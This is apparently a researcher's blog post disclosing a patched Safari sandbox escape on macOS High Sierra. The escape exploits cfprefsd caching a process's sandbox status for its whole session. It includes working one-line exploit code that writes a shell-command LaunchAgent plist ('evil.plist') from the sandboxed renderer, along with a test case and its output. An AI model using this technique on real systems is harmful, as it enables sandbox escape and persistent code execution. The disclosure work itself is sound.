One-liner Safari sandbox escape exploit

I am writing about a dead simple and reliable sandbox escape exploit which only have one line of code. Yeah I am sure it’s an exploit, not just PoC. It has nothing to do with iOS so please stop asking me anything about that.

The bug was refactored (and killed) before beta release of Mojave. The latest vulnerable version is macOS High Sierra 10.13.6 (17G65).

Since it’s part of a browser exploit chain you’ll need a renderer exploit to gain shellcode execution first. If not, disable SIP so you can debug, attach lldb to a running com.apple.WebKit.WebContent.xpc and use the following command:

po CFPreferencesSetAppValue(@"Label", @"You know what should be put here", [(id)NSHomeDirectory() stringByAppendingPathComponent:@"Library/LaunchAgents/evil.plist"])

This line will generate a new plist under ~/Library/LaunchAgents. With the proper arguments you can launch a Calculator or anything you like after re-logging into system.

What the hell? Isn’t writing plist supposed to be blocked by sandbox?


The key is that there’s a TOCTOU incfprefsd that you don’t even need to race.

There are Preferences Utilities in CoreFoundation for reading and saving plist serialized preferences on macOS.

Most developers are in favor of NSUserDefaults. They are similar for reading and setting serialized key value data, but NSUserDefaults is designed for containerized environment (like apps from App Store), while Preferences Utilities has an explicit argument for accessing data from other applications.

These plist files are usually located in:

  • /Library/Preferences for root privileged processes
  • ~/Library/Preferences for normal, un-containerized process
  • ~/Library/Containers/{bundle_id}/Data/Library/Preferences for containerized apps from mac App Store

The applicationID argument can also be an absolute path, if the app has the access permission. Now the question is, why giving the path outside sandbox it still works?

These functions internally invoke inter process communication via XPC with cfprefsd, as implemented in CoreFoundation. The daemon surely will check the sandbox state of incoming message, with sandbox_check.

The TOCTOU is about mistakenly cache the result of sandbox_check from the beginning, and keep trusting it during the whole session.

Check this function out:

When a process first initiates an XPC connection with cfprefsd, its sandbox state is checked with sandbox_check function. The result is cached for the duration of this XPC session. Thus, new CFPreference operations are still allowed by cfprefsd after sandbox lockdown because of this cached result.


Minimal test case here.

The following CopyAppValue request obviously will fail:

init_sandbox(); // copy the implementation from WebKit source
NSLog(@"read: %@", CFPreferencesCopyAppValue(CFSTR("CFBundleGetInfoString"), CFSTR("/Applications/Calculator.app/Contents/Info")));
bogon:Downloads vm$ ./a.out
2019–03–14 07:47:48.068 a.out[1028:33847] read: (null)

And console output of cfprefsd for the first try:

rejecting read of { /Applications/Calculator.app/Contents/Info, kCFPreferencesAnyUser, kCFPreferencesCurrentHost, no container, managed: 0 } from process 1028 because accessing preferences outside an application’s container requires user-preference-read or file-read-data sandbox access

Now let’s put an extra read operation before init_sandbox, the second call will surprisingly work:

NSLog(@"before: %@", CFPreferencesCopyAppValue(CFSTR("TALLogoutSavesState"), CFSTR("com.apple.loginwindow")));
init_sandbox();
NSLog(@"after: %@", CFPreferencesCopyAppValue(CFSTR("CFBundleGetInfoString"), CFSTR("/Applications/Calculator.app/Contents/Info")));
bogon:Downloads vm$ ./a.out
2019–03–14 07:47:08.291 a.out[1026:33710] before: (null)
2019–03–14 07:47:08.347 a.out[1026:33710] after: 10.13, Copyright © 2001–2017, Apple Inc.

As we see, if a process has accessed CFPreferences utilities before it goes into sandbox state, there will be no further sandbox check.


Let’s take a look at WebKit’s sandbox implementation.

According to the sandbox profile, process-exec is prohibited (all rules not explicitly allowed goes to deny default)

WebKit has a multi-process architecture, so it needs to spawn the process before containerization. At the very beginning of the renderer process creation, it’s just a normal process.

Unfortunately the renderer process has such interaction with CFPreferences during process initialization:

frame #17: 0x00007fff454e015a CoreFoundation` _CFPreferencesCopyAppValueWithContainerAndConfiguration  + 107
frame #18: 0x00007fff47868b94 Foundation` -[NSUserDefaults(NSUserDefaults) init] + 1423
frame #19: 0x00007fff47870c3a Foundation` +[NSUserDefaults(NSUserDefaults) standardUserDefaults] + 78
frame #20: 0x00007fff42a3ba4e AppKit` +[NSApplication initialize] + 90
frame #21: 0x00007fff71678248 libobjc.A.dylib` CALLING_SOME_+initialize_METHOD + 19
frame #22: 0x00007fff7166800c libobjc.A.dylib` _class_initialize + 282
frame #23: 0x00007fff71667a19 libobjc.A.dylib` lookUpImpOrForward + 238
frame #24: 0x00007fff71667494 libobjc.A.dylib` _objc_msgSend_uncached + 68
frame #25: 0x0000000100001627 com.apple.WebKit.WebContent` ___lldb_unnamed_symbol1$$com.apple.WebKit.WebContent + 519
frame #26: 0x00007fff72743ed9 libdyld.dylib` start + 1

After the initialization, it calls ChildProcess::initializeSandbox to enter sandbox and load untrusted content.

https://opensource.apple.com/source/WebKit2/WebKit2-7601.1.46.9/Shared/ios/ChildProcessIOS.mm.auto.html

Manually entering sandbox

So cfprefsd will always treat it like a normal process.

No additional action required, just access arbitrary preferences from arbitrary domain under same uid with these utilities. Let’s assume you’ve already archived rop or shellcode to dlopen the escape payload, all you need to put in the dylib constructor function is the following one line of code:

CFPreferencesSetAppValue(CFSTR(“ProgramArguments”), (__bridge CFArrayRef)@[@”/bin/sh”, @”-c”, @”open -a Calculator”], (__bridge CFStringRef)[NSHomeDirectory() stringByAppendingPathComponent:@”Library/LaunchAgents/evil.plist”]);

LaunchAgent requires logging off, so I digged around and found another way to trigger the code execution outside instantly. Well this instant trigger actually has nearly 80 lines of code (make it clear in case of the criticize for the title).

Here’s the live demo chained with WebSQL renderer exploit from Pwn2Own 2017 (credit to Slipper & Kelwin). Don’t have a working renderer exploit on High Sierra so I use the old one.


This bug affects at least from El Capitan to High Sierra (10.13.6), or maybe even earlier version. No CVE assigned but I think it’s worth branding.